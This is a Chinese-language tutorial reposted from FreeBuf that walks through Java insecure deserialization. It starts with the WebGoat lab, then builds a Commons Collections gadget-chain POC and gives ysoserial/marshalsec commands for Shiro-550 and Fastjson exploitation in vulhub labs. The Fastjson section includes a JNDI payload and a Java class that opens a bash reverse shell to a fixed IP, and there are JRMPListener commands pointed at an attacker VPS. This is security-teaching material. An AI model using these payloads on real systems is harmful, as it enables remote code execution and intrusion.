通過WebGoat學習java反序列化漏洞


首發於freebuff。

WebGoat-Insecure Deserialization

Insecure Deserialization 01

概念

本課程描述了什么是序列化,以及如何操縱它來執行不是開發人員最初意圖的任務。

目標

1、用戶應該對Java編程語言有基本的了解

2、用戶將能夠檢測不安全的反序列化漏洞

3、用戶將能夠利用不安全的反序列化漏洞

反序列化的利用在其他編程語言(如PHP或Python)中略有不同,但這里學到的關鍵概念也適用於所有這些語言

Insecure Deserialization 02

序列化是什么

序列化是將某個對象轉換為后期可以還原的數據格式的過程。人們經常序列化對象,以便將它們存儲起來,或作為通信的一部分發送。反序列化與從某種格式獲取結構化數據的過程相反,它是將其重建為對象的過程。如今,用於序列化數據的最流行的數據格式是JSON。在那之前,它是XML

1630248704_612b9f002e331f1c3e921.png!small?1630248704047

原生序列化

許多編程語言都提供了序列化對象的原生功能。這些原生格式通常提供比JSON或XML更多的特性,包括序列化過程的可定制性。不幸的是,當操作不可信的數據時,這些原生反序列化機制的特性可能會被重新利用,產生惡意影響。針對反序列化器的攻擊已經被發現允許拒絕服務、訪問控制和遠程代碼執行攻擊。

已知受影響的編程語言

數據,而不是代碼

只序列化數據。代碼本身沒有序列化。反序列化創建一個新對象並從字節流復制所有數據,以便獲得與已序列化對象相同的對象。

Insecure Deserialization 03

最簡單的利用

漏洞代碼

下面是一個眾所周知的Java反序列化漏洞示例

1630248722_612b9f124967c5245272a.png!small

它期望一個AcmeObject對象,但是它將在強制轉換發生之前執行readObject()。如果攻擊者發現適當的類在readObject()中實現了危險的操作,他可以序列化該對象,並強制易受攻擊的應用程序執行這些操作。

ClassPath中包含的類

攻擊者需要在ClassPath中找到一個支持序列化並在readObject()上具有危險實現的類。

1630248754_612b9f324f39ce0d4f990.png!small

利用

如果上面顯示的java類存在,攻擊者可以序列化該對象並獲得遠程代碼執行。

1630248776_612b9f489e618f080df5d.png!small?1630248776431

Insecure Deserialization 04

什么是Gadets Chain

在反序列化時發現一個運行危險操作的gadget是很少的(但也可能發生)。但是,當一個gadget被反序列化時,要找到一個在其他gatget上運行操作的gadget要容易得多,而第二個gadget在第三個gadget上運行更多操作,以此類推,直到觸發真正危險的操作。可以在反序列化過程中使用的gadget集被稱為Gadget Chain。

尋找gadgets來構建gadget chains是安全研究人員的一個活躍話題。這種研究通常需要花費大量的時間閱讀代碼。

Insecure Deserialization 05

任務

下面的輸入框接收一個序列化的對象(一個字符串)並對其進行反序列化。

1630248805_612b9f65bcec886e88c90.png!small?1630248805564

嘗試更改這個序列化對象,以便將頁面響應延遲恰好5秒。

源碼分析

webgoat/deserialization/InsecureDeserializationTask.java

1630248818_612b9f724857813920793.png!small?1630248818174

后端拿到我們的token之后進行了一個特殊符號替換,然后進行了base64解碼,解碼過后進行了readObject()反序列化操作,最后判斷一下這個對象是不是VulnerableTaskHolder的實例。所以,我們反序列化的對象也就確定了,那就是VulnerableTaskHolder類的實例。

VulnerableTaskHolder類的實現:

insecure/framework/VulnerableTaskHolder.java

關注readObject方法

1630248836_612b9f849e54428c690f0.png!small?1630248836572

可以看到這里直接利用Runtime.getRuntime().exec()執行了taskAction,而taskAction是在構造函數里被賦值的:

1630248846_612b9f8e576d1992f5890.png!small?1630248846199

所以我們可以通過控制taskAction來控制執行的命令

實現

VulnerableTaskHolder.java 直接copy源碼,把沒用的刪掉即可

1630248857_612b9f991b87e3f65cf40.png!small?16302488571481630248864_612b9fa07e13cb009843e.png!small?1630248864370

在學習java反序列化之前

JMX

JMX (java Management Extensions,即Java管理擴展),是一套標准的代理和服務,用戶可以在任何Java應用程序中使用這些代理和服務實現管理,中間件軟件WebLogic的管理頁面就是基於JMX開發的,而JBoss則整個系統都基於JMX構架。

RMI

RMI(Remote Method Invocation),遠程方法調用。通過RMI技術,某一個本地的JVM可以調用存在於另外一個JVM中的對象方法,就好像它僅僅是在調用本地JVM中某個對象方法一樣。

RMI是Java的一組擁護開發分布式應用程序的API,實現了不同操作系統之間程序的方法調用。值得注意的是,RMI的傳輸100%基於反序列化,Java RMI的默認端口是1099端口。

JNDI(Java Naming and Directory Interface),Java 命名與目錄接口。JNDI是注冊表可以包含很多的RMI,舉個例子就JNDI像個本子,RMI像本子上的記錄,客戶端調用RMI記錄的時候會先去JNDI這個本子,然后從本子上找相應的RMI記錄

RMI使用Java遠程方法協議(JRMP)進行遠程Java對象通信。 RMI缺少與其他語言的互操作性,因為它不使用CORBA-IIOP作為通信協議。

Java反射機制

概念

Java 反射機制是 Java 語言的一個重要特性。在學習 Java 反射機制前,應該先了解兩個概念,編譯期和運行期。

編譯期是指把源碼交給編譯器編譯成計算機可以執行的文件的過程。在 Java 中也就是把 Java 代碼編成 class 文件的過程。編譯期只是做了一些翻譯功能,並沒有把代碼放在內存中運行起來,而只是把代碼當成文本進行操作,比如檢查錯誤。

運行期是把編譯后的文件交給計算機執行,直到程序運行結束。所謂運行期就把在磁盤中的代碼放到內存中執行起來。

Java 反射機制是在運行狀態中,對於任意一個類,都能夠知道這個類的所有屬性和方法;對於任意一個對象,都能夠調用它的任意方法和屬性;這種動態獲取信息以及動態調用對象方法的功能稱為 Java 語言的反射機制。簡單來說,反射機制指的是程序在運行時能夠獲取自身的信息。在 Java 中,只要給定類的名字,就可以通過反射機制來獲得類的所有信息。

具體實現

下面是一個基本的類 Person

1630248927_612b9fdfd9c9ce0bc4903.png!small?1630248928932

1、得到 Class 的三種方式:

getClass()、 類名.class 、Class對象的forName()靜態方法

1630248939_612b9feb181875ecac57a.png!small?1630248939028

需要注意的是:一個類在 JVM 中只會有一個 Class 實例,即我們對上面獲取的 c1,c2,c3進行 equals 比較,發現都是true

2、通過 Class 類獲取成員變量、成員方法、接口、超類、構造方法等

查閱 API 可以看到 Class 有很多方法:

1630248952_612b9ff885758eca1328d.png!small?1630248952431

3、我們通過一個例子來綜合演示上面的方法:

1630248962_612ba002e60e51a998a9c.png!small?1630248963282

Runtime.getRuntime().exec()

在java中執行系統命令的方法:

1630248976_612ba0104354a42fbc36c.png!small?1630248976108

該代碼會運行並打開windows下的記事本
它正常的步驟是

1630248987_612ba01b3d9fddb111518.png!small?1630248987165

那么相應的反射的代碼如下

1630248998_612ba02666c3c760079d6.png!small?1630248998326

getMethod(方法名,方法類型)invoke(某個對象實例, 傳入參數)

這里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等價於 Object runtime = Runtime.getRuntime()
目的是獲取一個對象實例好被下一個invoke調用

第二句Class.forName("java.lang.Runtime").xxxx的作用就是調用上一步生成的runtime實例的exec方法,並將"notepad.exe"參數傳入exec()方法

認識Java序列化與反序列化

序列化:把對象轉換成字節流,方便持久化保存

反序列化:把序列化后的字節流,還原成對象處理

序列化是將對象狀態轉換為可保持或傳輸的格式的過程。與序列化相對的是反序列化,它將流轉換為對象。

這兩個過程結合起來,可以輕松地存儲和傳輸數據,這就是序列化的意義所在

序列化與反序列化是讓Java對象脫離Java運行環境的一種手段,可以有效的實現多平台之間的通信、對象持久化存儲。主要應用在以下場景:

1630249027_612ba043eb6288ffe2a09.png!small?1630249027831

Java中的API實現

1630249035_612ba04b1523b2cd87588.png!small?1630249034934

簡單測試:

1630249048_612ba058d6c34403a4ff3.png!small?1630249048750

我們可以看到,先通過輸入流創建一個文件,再調用ObjectOutputStream類的 writeObject方法把序列化的數據寫入該文件;然后調用ObjectInputStream類的readObject方法反序列化數據並打印數據內容。

實現SerializableExternalizable接口的類的對象才能被序列化。

Externalizable接口繼承自 Serializable接口,實現Externalizable接口的類完全由自身來控制序列化的行為,而僅實現Serializable接口的類可以采用默認的序列化方式 。

對象序列化包括如下步驟:

1) 創建一個對象輸出流,它可以包裝一個其他類型的目標輸出流,如文件輸出流;

2) 通過對象輸出流的writeObject()方法寫對象。

1630249067_612ba06be3dd231f3a223.png!small?1630249067766

對象反序列化的步驟如下:

1) 創建一個對象輸入流,它可以包裝一個其他類型的源輸入流,如文件輸入流;

2) 通過對象輸入流的readObject()方法讀取對象。

代碼實例

我們創建一個Person接口,然后寫兩個方法:

序列化方法: 創建一個Person實例,調用函數為其三個成員變量賦值,通過writeObject方法把該對象序列化,寫入Person.txt文件中

反序列化方法:調用readObject方法,返回一個經過反序列化處理的對象

在測試主類里面,我們先序列化Person實例對象,然后又反序列化該對象,最后調用函數獲取各個成員變量的值。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {
    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    private int age;
    private String name;
    private String sex;
    
    public int getAge() {
        return age;
    }
    public String getName() {
        return name;
    }
    public String getSex() {
        return sex;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 測試對象的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person對象
        Person p = DeserializePerson();//反序列Perons對象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person對象
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 對象輸出流,將Person對象存儲到Person.txt文件中,完成對Person對象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person對象序列化成功!");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons對象
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person對象反序列化成功!");
        return person;
    }

}

Java反序列化漏洞是怎么產生的

如果Java應用對用戶輸入,即不可信數據做了反序列化處理,那么攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的對象,非預期的對象在產生過程中就有可能帶來任意代碼執行。

漏洞分析

Apache Commons Collections

項目地址

官網:http://commons.apache.org/proper/commons-collections/

Github: https://github.com/apache/commons-collections

org.apache.commons.collections提供一個類包來擴展和增加標准的Java的collection框架,也就是說這些擴展也屬於collection的基本概念,只是功能不同罷了。Java中的collection可以理解為一組對象,collection里面的對象稱為collection的對象。具象的collection為setlistqueue等等,它們是集合類型。換一種理解方式,collection是set,list,queue的抽象。

1630249222_612ba10619310aa79971a.png!small?1630249222055

作為Apache開源項目的重要組件,Commons Collections被廣泛應用於各種Java應用的開發,而正是因為在大量web應用程序中這些類的實現以及方法的調用,導致了反序列化漏洞的普遍性和嚴重性。

Apache Commons Collections中有一個特殊的接口,其中有一個實現該接口的類可以通過調用Java的反射機制來調用任意函數,叫做InvokerTransformer。

1630249238_612ba11661e440217abb3.png!small?1630249238322

POC構造

首先,我們可以知道,要想在java中調用外部命令,可以使用這個函數 Runtime.getRuntime().exec(),然而,我們現在需要先找到一個對象,可以存儲並在特定情況下執行我們的命令。

1630249246_612ba11e695c96577bc0f.png!small?1630249246221

(1)Map--> TransformedMap

Map類是存儲鍵值對的數據結構。 Apache Commons Collections中實現了TransformedMap ,該類可以在一個元素被添加/刪除/或是被修改時(即key或value:集合中的數據存儲形式即是一個索引對應一個值),會調用transform方法自動進行特定的修飾變換,具體的變換邏輯由Transformer類定義。也就是說,TransformedMap類中的數據發生改變時,可以自動的進行一些特殊的變換,比如在數據被修改時,把它改回來或者在數據改變時,進行一些我們提前設定好的操作。

至於會進行怎樣的操作或變換,這是由我們提前設定的,這個叫做transform。

我們可以通過TransformedMap.decorate()方法獲得一個TransformedMap的實例

1630249262_612ba12ee674457d57a01.png!small?16302492628371630249269_612ba1357e002983668d2.png!small?1630249269376

(2)Transformer接口

1630249281_612ba141ac5afd149f708.png!small?1630249281549

transform的源代碼

1630249296_612ba150359c3de5911e7.png!small?1630249296104

我們可以看到該類接收一個對象,獲取該對象的名稱,然后調用了一個invoke反射方法。另外,多個Transformer還能串起來,形成ChainedTransformer。當觸發時,ChainedTransformer可以按順序調用一系列的變換。

下面是一些實現Transformer接口的類,箭頭標注的是我們會用到的。

1630249335_612ba177b7308a388db75.png!small?1630249336517

1630249338_612ba17a572bfa6d0d319.png!small?1630249338413

Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過Java的反射機制來調用任意函數,叫做InvokerTransformer,代碼如下:

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input參數為要進行反射的對象,
        iMethodName,iParamTypes為調用的方法名稱以及該方法的參數類型
        iArgs為對應方法的參數
        在invokeTransformer這個類的構造函數中我們可以發現,這三個參數均為可控參數
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

只需要傳入方法名、參數類型和參數,即可調用任意函數。

1630249376_612ba1a05bca1558fbac4.png!small?1630249376338

在這里,我們可以看到,先用ConstantTransformer()獲取了Runtime類,接着反射調用getRuntime函數,再調用getRuntime的exec()函數,執行命令""。依次調用關系為: Runtime --> getRuntime --> exec()

因此,我們要提前構造 ChainedTransformer鏈,它會按照我們設定的順序依次調用Runtime, getRuntime,exec函數,進而執行命令。正式開始時,我們先構造一個TransformeMap實例,然后想辦法修改它其中的數據,使其自動調用tansform()方法進行特定的變換(即我們之前設定好的)

再理一遍:

1630249386_612ba1aa10148652cdfc1.png!small?1630249386003

知識補充

1630249394_612ba1b24bf24abc22c60.png!small?1630249394201

我們可以實現這個思路

public static void main(String[] args) throws Exception {
    //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先構造一個Map和一個能夠執行代碼的ChainedTransformer,以此生成一個TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //觸發Map中的MapEntry產生修改(例如setValue()函數
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("foobar");
    /*代碼運行到setValue()時,就會觸發ChainedTransformer中的一系列變換函數:
       首先通過ConstantTransformer獲得Runtime類
       進一步通過反射調用getMethod找到invoke函數
       最后再運行命令calc.exe。
    */
}

更近一步

我們知道,如果一個類的方法被重寫,那么在調用這個函數時,會優先調用經過修改的方法。因此,如果某個可序列化的類重寫了readObject()方法,並且在readObject()中對Map類型的變量進行了鍵值修改操作,且這個Map變量是可控的,我們就可以實現攻擊目標。

AnnotationInvocationHandler類:

這個類有一個成員變量memberValues是Map類型 更棒的是,AnnotationInvocationHandler的readObject()函數中對memberValues的每一項調用了setValue()函數對value值進行一些變換。

這個類完全符合我們的要求,那么,我們的思路就非常清晰了

1630249429_612ba1d5f3bfe4eebb5ce.png!small?1630249429874

所有用到的技術細節

1630249440_612ba1e05302dfbc31dce.png!small?1630249440475

具體實現

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待執行的命令數組
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一個transformer鏈,包含各類transformer對象(預設轉化邏輯)的轉化數組
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由於Method類的invoke(Object obj,Object args[])方法的定義
            所以在反射內寫new Class[] {Object.class, Object[].class }
            正常POC流程舉例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map數據結構,轉換后的Map
       /*
       TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。
            第一個參數為待轉化的Map對象
            第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空)
            第三個參數為Map對象內的value要經過的轉化方法。
       */
        //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:構建BeforeTransformerMap的鍵值對,為其賦值,
     利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme
     對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行

     執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec()

*/

如何發現Java反序列化漏洞

1.從流量中發現序列化的痕跡,關鍵字:ac ed 00 05,rO0AB

2.Java RMI的傳輸100%基於反序列化,Java RMI的默認端口是1099端口

3.從源碼入手,可以被序列化的類一定實現了Serializable接口

4.觀察反序列化時的readObject()方法是否重寫,重寫中是否有設計不合理,可以被利用之處

從可控數據的反序列化或間接的反序列化接口入手,再在此基礎上嘗試構造序列化的對象。

ysoserial是一款非常好用的Java反序列化漏洞檢測工具,該工具通過多種機制構造PoC,並靈活的運用了反射機制和動態代理機制,值得學習和研究。

ysoserial

https://github.com/frohoff/ysoserial

ysoserial是一款用於生成 利用不安全的Java對象反序列化 的有效負載的概念驗證工具。

ysoserial是在常見的java庫中發現的一組實用程序和面向屬性的編程“gadget chains”,在適當的條件下,可以利用執行對象不安全反序列化的Java應用程序。主驅動程序接受用戶指定的命令,並將其封裝在用戶指定的gadget chain中,然后將這些對象序列化為stdout。當類路徑上具有所需gadgets的應用程序不安全地反序列化該數據時,將自動調用該鏈並導致在應用程序主機上執行該命令。

應該注意的是,漏洞在於應用程序執行不安全的反序列化,而不是在類路徑上有gadget。

我們經常在執行攻擊命令的時候,會看到命令中有 ysoserial.exploit.JRMPListener 和 ysoserial.exploit.JRMPClient,那么JRMP到底是什么呢?

JRMP(Java Remote Method Protocol) Java遠程方法協議,JRMP是Java技術協議的具體對象為希望和遠程引用。JRMP只能Java特有的,基於流的協議。相對於的RMI - IIOP,JRMP只能是一個對象的Java到Java的遠程調用,這使得它依賴語言,意思是客戶端和服務器必須使用Java。

ysoserial 中的 exploit/JRMPClient 是作為攻擊方的代碼,一般會結合 payloads/JRMPListener 使用,攻擊流程就是:

先往存在漏洞的服務器發送 payloads/JRMPListener,使服務器反序列化該payload后,會開啟一個 RMI服務並監聽在設置的端口

然后攻擊方在自己的服務器使用exploit/JRMPClient與存在漏洞的服務器進行通信,並且發送一個可命令執行的payload(假如存在漏洞的服務器中有使用org.apache.commons.collections包,則可以發送CommonsCollections系列的payload),從而達到命令執行的結果。

marshalsec

https://github.com/mbechler/marshalsec

JNDI 引用間接

jndiUrl- 觸發查找的 JNDI URL

先決條件

設置遠程代碼庫,與遠程類加載相同。

運行指向該代碼庫JNDI引用重定向服務-兩種實現方式包括:jndi.LDAPRefServer和RMIRefServer。

·        ```java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]```

使用 (ldap|rmi):// host: port /obj 作為jndiUrl,指向該服務的偵聽地址。

shiro-550

1.確定目標使用了 shiro

向任意請求中攜帶任意值的 rememberMe Cookie,如果響應返回了 Set-Cookie: rememberMe=deleteMe HTTP頭,則說明使用了 shiro:

1630249564_612ba25c5a870839c42ce.png!small?1630249564505

2.確定目標 shiro 使用了默認的 RememberMe cipher key

只有確定 RememberMe cipher key 正確的情況下才能繼續嘗試反序列化利用。有許多辦法可以確定這一點,一個比較簡單的辦法是通過 DNS 外帶查詢來確定。

Burp 啟動 Burp Collaborator client,點擊 Copy to clipboard,從剪貼板獲取到一個域名,類似於:m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net

1630249580_612ba26c2823f8b3c911f.png!small?1630249580028

使用 ysoserial,用上一步得到的域名生成一個 URLDNS 序列化 payload:

java -jar ysoserial.jar URLDNS

http://urldns.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net> /tmp/urldns.ser

1630249595_612ba27b8ddb46fea97af.png!small?1630249596437

用 shiro 編碼腳本將序列化 payload 進行編碼,得到 Cookie 字符串:

java -jar shiro-exp.jar encrypt /tmp/urldns.ser

1630249612_612ba28cac337bb78d28a.png!small?1630249612846

再將上面得到的 Cookie 字符串作為 rememberMe Cookie 的值,發送到目標網站,如果 cipher key 正確,則目標會成功反序列化我們發送的 payload,Burp Collaborator client 將收到 dns 解析記錄,說明目標網站存在 shiro 反序列化漏洞:

1630249622_612ba2968a6bb7c4e8134.png!small?1630249623417

3.嘗試反序列化利用

上面的步驟只是確定存在 shiro 反序列化漏洞,接下來嘗試進行利用。

攻擊者先在公網 vps 上用 ysoserial 啟一個惡意的 JRMPListener,監聽在 19999 端口,並指定使用 CommonsCollections6 模塊,要讓目標執行的命令為 ping 一個域名:

java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999

CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步監聽的地址和端口(假如攻擊者服務器 ip 地址為 1.1.1.1):

java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 編碼腳本對 JRMPClient payload 進行編碼:

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

將最后得到的字符串 Cookie 作為 rememberMe Cookie 的值,發送到目標網站。如果利用成功,則前面指定的 ping 命令會在目標服務器上執行,Burp Collaborator client 也將收到 DNS 解析記錄。

fastjson

0x01:環境准備

直接將github上的vulhub下載下來,進入fastjson漏洞環境目錄下,執行

dcoker-compose up -d

1630249646_612ba2ae73283f409cec9.png!small?1630249646342

訪問http://192.168.43.78:8090即可看到一個 json 對象被返回,代表漏洞環境搭建成功:

1630249656_612ba2b82ed0d6f49e7c4.png!small?1630249656060

此處將 content-type 請求頭修改為 application/json 后可向其通過 POST 請求提交新的 JSON 對象,后端會利用 fastjson 進行解析

0x02:攻擊

在自己的vps里開啟rmi或者ldap服務

推薦使用marshalsec快速開啟rmi或ldap服務

地址:

https://github.com/mbechler/marshalsec

下載marshalsec,使用maven編譯jar包

mvn clean package -DskipTests

1630249675_612ba2cbe8edd7f9e6d13.png!small?1630249676216

1630249688_612ba2d87899b33e0fb2b.png!small?1630249688390啟動 RMI 服務的工具包准備好了,那就開始准備惡意 Java 文件吧,如圖創建文件TouchFile.java

1630249706_612ba2ea0245d5cd9db1c.png!small?1630249705913

接下來對TouchFile.java進行編譯,生成TouchFile.class文件:

1630249712_612ba2f0b6d3a7c5bf43a.png!small?1630249712561

接着需要使用 Tomcat 或者 Python 搭起 Web 服務,讓TouchFile.class文件可對外訪問,此處選擇 Python 啟動 Web 服務:

1630249729_612ba301bcec812d71812.png!small?1630249729636

此處如果你的環境是python2,使用的命令是:python -m SimpleHTTPServer 8099;如果是python3,使用的命令是:python -m http.server 8099。

在 Win 10 物理機訪問http://192.168.43.132:8099/(Kali 的 IP+剛才開啟的服務端口8088),可成功訪問到TouchFile.class文件,如下圖所示:

1630249739_612ba30b722c7f6eeb6de.png!small?1630249739352

Web 服務器搭建好了,接下來需要啟用 RMI 服務才行。使用上面准備好的marshalsec.jar 啟動一個RMI服務器,監聽 9001 端口,並指定加載遠程類TouchFile.class,如下圖所示:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.43.132:8099/#TouchFile" 9001

1630249756_612ba31c5a6a26b8da691.png!small?1630249756287

在 Win 10 物理機使用 BurpSuite 向 Fastjson 靶場服務器發送Payload( 將方法改成POST ) 如下圖所示:

1630249766_612ba326496443483494d.png!small?1630249766144

具體Payload如下:

{

"a":{

"@type":"java.lang.Class",

"val":"com.sun.rowset.JdbcRowSetImpl"

},

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://192.168.43.74:9001/TouchFile",

"autoCommit":true

}

}

此時 Kali 虛擬機的 Web 服務器和 RMI 服務器分別記錄了請求信息:

1630249778_612ba33230b7d345dadaa.png!small?1630249779249

最后可回到 Ubuntu 虛擬機進入Fastjson 服務器對應的 Docker 容器查看/tmp/success是否創建成功:

1630249787_612ba33bc8b784070ee12.png!small?1630249788571

至此,已成功利用 Fastjson 反序列化漏洞實現在 Fastjson 服務器目錄下創建文件。

反彈Shell

可以遠程執行命令的漏洞僅僅創建文件就太對不起辛辛苦苦搭建的靶場環境了,接下來可進一步實現反彈 Shell。方法很簡單,只需要修改以上惡意文件TouchFile.java 的代碼:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.125.2/1888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后進行編譯,並跟上述過程一樣使用 BurpSuite 發送最終的 Payload 即可。同時發送 Payload 之前在接收 Shell 的主機開啟端口監聽,便可成功反彈 Shell.

最后注意 RMI 這種利用方式對 JDK 版本是有要求的,它在以下 JDK 版本被修復(啟動服務之前用 java -version查看自己的 jdk 版本是否低於以下版本):

1630249901_612ba3ad2d00c328b58c5.png!small?1630249901095

參考

https://www.cnblogs.com/ssooking/p/5875215.html

https://www.jb51.net/article/173574.htm

https://blog.csdn.net/qq_36241198/article/details/118618001

https://xz.aliyun.com/t/4711

https://cloud.tencent.com/developer/article/1590955


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM